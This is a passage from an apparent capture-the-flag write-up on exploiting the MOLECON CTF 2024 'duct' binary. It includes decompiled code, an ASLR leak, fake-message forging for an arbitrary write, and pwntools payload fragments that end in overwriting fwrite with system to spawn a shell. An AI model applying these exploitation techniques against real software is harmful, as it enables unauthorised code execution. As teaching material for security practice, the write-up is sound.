This article continues from https://ditt0.medium.com/molecon-ctf-2024-duct-part-1-99832e67f599 , focusing on the exploitation.
Step 1: Defeating ASLR
Defeating ASLR is easy once we are able to trigger the bug. We just have to trigger the command to print_messages
with cmd code 0xDEADBEEF.
The addresses of the messages will be printed out, and hence we can defeat ASLR.
void __fastcall handle_command(int stdin)
{
int cmd; // eax
cmd_packet *cmd_packet; // [rsp+18h] [rbp-8h]
cmd_packet = (cmd_packet *)receive_command(stdin);
cmd = cmd_packet->cmd_field;
if ( cmd != 0xDEADBEEF )
{
error:
printf("Invalid command %d", (unsigned int)cmd_packet->cmd_field);
goto LABEL_9;
}
print_messages(); // 0xDEADBEEF
LABEL_9:
destroy_packet(cmd_packet);
}
void *print_messages()
{
void *result; // rax
message *i; // [rsp+8h] [rbp-8h]
// loop and print all messages from first
for ( i = (message *)first; ; i = (message *)i->next_msg )
{
result = NULL_MESSAGE;
if ( i == NULL_MESSAGE || !i )
break;
// prints address of every message!
printf("Message %p is '%s' by %s. Next is %p\n", i,
i->destroy_buf,
i->name_buf,
(const void *)i->next_msg);
}
return result;
}
To leak a libc address, we have to create a big note. The big note will be created near the libc region. For PIE leak, we can leak through the last message. The last message will have its next_msg
set to the address of NULL_MESSAGE
.
Creation of the big note can be done like this:
payload = b'A' * 0x21000
p_init = remote(host, int(port))
sla(p_init, "What do you want to destroy", payload)
payload = b'B' * 0x40
sla(p_init, "Please leave also your name", payload)
Step 2: Arbitrary Write
The only place that does some sort of write is in the redact_message
command:
void *__fastcall redact_message(cmd_packet *cmd_message)
{
void *result; // rax
int v2; // [rsp+14h] [rbp-14h]
message *target_message; // [rsp+18h] [rbp-10h]
message *i; // [rsp+20h] [rbp-8h]
v2 = 0;
target_message = (message *)NULL_MESSAGE;
// [1] walks the list of messages, starting from first
for ( i = (message *)first; i != NULL_MESSAGE
&& target_message == NULL_MESSAGE;
i = (message *)i->next_msg )
{
// [2] In the cmd_message, a msg index is specified
if ( v2 == cmd_message->msg_idx ) // msg_idx is controlled
target_message = i;
++v2;
}
result = NULL_MESSAGE;
if ( target_message != NULL_MESSAGE )
{
// [3] if target_message is a controlled address, we write 1
target_message->sizeof_destroy_buf = 1;
// [4] and we write a controlled value here
result = (void *)cmd_message->redact_text;
*(_QWORD *)target_message->destroy_buf = result;// arbitrary write!
}
return result;
}
By forging a fake note and controlling the {address}->next_msg
, in redact_message
, we can get arbitrary write at:
target_message->destroy_buf = result
The process to get a stable arbitrary write is slightly more complicated. To recap, the structure of the message looks like this:
struct message
{
int msg_type;
int sizeof_destroy_buf;
__int64_t* next_msg; // <----- set arbitrary address here
char name_buf[64];
char destroy_buf[256];
};
Imagine the queue looks like this [message_A, message_B]
and the backend is processing message_C
,
Initial queue:
message_A (first)
+0x10: next_msg => message_B
message_B (last):
+0x10: next_msg => NULL_MESSAGE
// => a message created in the usual way will
// have next_msg initialized to NULL_MESSAGE
// however, if we forge our own message, we can skip
// setting it to NULL_MESSAGE,
// which gives us arbitrary write!
After the backend finishes handling message_C
,
message *__fastcall handle_message(int shared_pipe_stdin)
{
message *result; // rax
message *new_message; // [rsp+18h] [rbp-8h]
new_message = (message *)receive_message(shared_pipe_stdin);
printf(
"Destroying message with len '%d' by %s\n",
(unsigned int)new_message->sizeof_destroy_buf,
new_message->name_buf);
fwrite(new_message->destroy_buf, 1uLL, new_message->sizeof_destroy_buf, devnull);
if ( (void *)first == NULL_MESSAGE )
first = (__int64)new_message;
else
// [1] update the last->next_msg to point to the new_message
last->next_msg = (__int64_t)new_message;
result = new_message;
// [2] update last to the new_message
last = new_message;
return result;
}
The queue will looks like this:
After queue:
message_A (first)
+0x10: next_msg => message_B
message_B (last):
+0x10: next_msg => message_C
mesage_C (last):
+0x10: next_msg (NULL_MESSAGE)
// => a message created in the usual way will
// have next_msg initialized to NULL_MESSAGE
// however, if we forge our own message, we can skip
// setting it to NULL_MESSAGE,
// which gives us arbitrary write!
Hence, in order for the write to happen, target_message
must be the last message of the queue. Else its next_msg
will be set to point to the next legit message instead of our arbitrary address.
There are thus a few problems that we have to overcome:
- Since we are racing and spamming messages, how do we predict the actual
msg_idx
forredact_message
? - How do we ensure that the message that is getting redacted will be the last?
The way to solve the above problems by the author is pretty brilliant!
These shows the importance of understanding the program well!
One of the commands allow us to flush_message
. When we call the flush command, we can reset all the messages to start from NULL_MESSAGE
, and thus start frommsg_idx
0!
void *flush_messages()
{
void *result; // rax
first = (__int64)NULL_MESSAGE;
result = NULL_MESSAGE;
last = (__int64)NULL_MESSAGE;
return result;
}
So how do we ensure that the fake message is processed IMMEDIATELY after the flush_message / command
is done? Recall that we trigger the bug and desync the messages. After we desync, we in fact have a CHAIN OF MESSAGES that we can forge to be processed.
Our payload looks something like this:
payload = flat(
{
// message 1 => command message
0x100: p32(0x1), # cmd handle
0x104: p32(FLUSH_MESSAGE),
0x108: p64(guess_start-1),
0x110: p64(target_value),
// message 2 (invalid headers)
0x118: p32(0x41414141), # nop slide
// message 3 (invalid headers)
0x118+0x4: p32(0x42424242), # nop slide
// message 4 => fake message
0x120: p32(0x0), # message header
0x124: p32(0x0), # size of destroy buf
0x128: p64(target_write-0x50), # null ptr / arbitrary write target
// ... nop slide in between ...
// message 5 => command message
0x200+(0x18 * 1): p32(0x1), # cmd handle
0x204+(0x18 * 1): p32(REDACT_MESSAGE),
0x208+(0x18 * 1): p64(1), # msg idx
0x210+(0x18 * 1): p64(target_value),
}
This will force the backend to process the messages in the following order:
[message 1 => message 2 => message 3 => message 4 => message 5]
,
and hence, we can be sure of the msg_idx
in message 5!
I thought of using a chain of messages but not the flush_message
:(
Finally, I force the backend to not process any more messages / trigger any additional flush
or redact
, by crafting a huge message so it will be stuck in the pipe read:
0x300: p32(0x0), # message
0x304: p32(0x50000), # message length
0x308: p64(0x55555555800),
0x310: p64(target_value),
With the above chain, we can set target_message->next_msg
to point the fwrite
, then use REDACT to overwrite fwrite
to system
. Placing /bin/sh
in our message will then trigger system(“/bin/sh”)
.
If you are following along this challenge, one last thing to double check is that the libc_leak
differs in the Docker and on my local machine.
The libc_leak
heap is below the libc_base
in the Docker
, so make sure to double check that.